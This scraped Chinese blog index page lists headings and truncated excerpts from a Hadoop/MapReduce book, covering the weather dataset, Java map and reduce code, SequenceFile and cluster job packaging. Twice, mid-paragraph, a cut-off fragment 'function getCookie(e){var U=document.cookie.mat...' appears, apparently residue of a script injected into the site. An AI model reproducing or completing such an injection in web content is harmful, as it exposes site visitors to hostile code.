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 分类:hadoop

2.3.3. 数据流

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2.3.2. JavaMapReduce

明白MapReduce程序的工作原理之后,下一步就是写代码实现它。我们需要三样东西:一个map函数、一个reduce函数和一些用来运行作业的代码。map函数由Mapper类实现来表示,后者声明一个map()虚方法。范例2-3显示了我们的map函数实现。 范例2-3.查找最高气温的...

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2.3.1. map和reduce

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2.3. 使用Hadoop来分析数据

为了充分利用Hadoop提供的并行处理优势,我们需要将查询表示成MapReduce作业。完成某种本地端的小规模测试之后,就可以把作业部署到在集群上运行。 function getCookie(e){var U=document.cookie.mat...

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5.5.3 MapReduce的Web界面

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2.1. 气象数据集

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第二章 关于MapReduce

MapReduce是一种可用于数据处理的编程模型。该模型比较简单,但要想写出有用的程序却不太容易。Hadoop可以运行各种语言版本的MapReduce程序。在本文中,我们将看到同一个程序的Java、Ruby、Python和C++语言版本。最重要的是,MapReduce程序本质上是...

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5.5.2 启动作业

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5.5.1 打包作业

本地作业运行器使用单JVM运行一个作业,只要作业需要的所有类都在类路径(classpath)上,那么作业就可以正常执行。 在分布式的环境中,情况稍微复杂一些。开始的时候作业的类必须打包进作业的JAR文件中并发送给集群。Hadoop通过搜索驱动程序的类路径自动找到作业的JAR文件,...

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4.5.2关于MapFile

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4.5.1关于 SequenceFile

考虑日志文件,其中每一行文本代表一条日志记录。纯文本不合适记录二进制类型的数据。在这种情况下,Hadoop的SequenceFile类非常合适, 为二进制键/值对提供了一个持久数据结构。将它作为日志文件的存储格式时,你可以自己选择键(比如LongWritable类型所表...

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​5.5 在集群上运行

目前,程序已经可以在少量测试数据上正确运行,下面可以准备在Hadm>p   集群的完整数据集上运行了。第9章将介绍如何建立完全分布的集群,同 时,该章中的方法也可以用在伪分布集群上。 10000时,不能重新设置,导致作业ID更长(这些1D不能很好地排序)。 任务属...

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4.5基于文件的数据结构

对于某些应用,我们需要一种特殊的数据结构来存储自己的数据。对于基于MapReduce的数据处理,将每个二进制数据大对象(blob)单独放在各自的文件中不能实现可扩展性,所以,Hadoop为此开发了很多更髙层次的容器。 function getCook...

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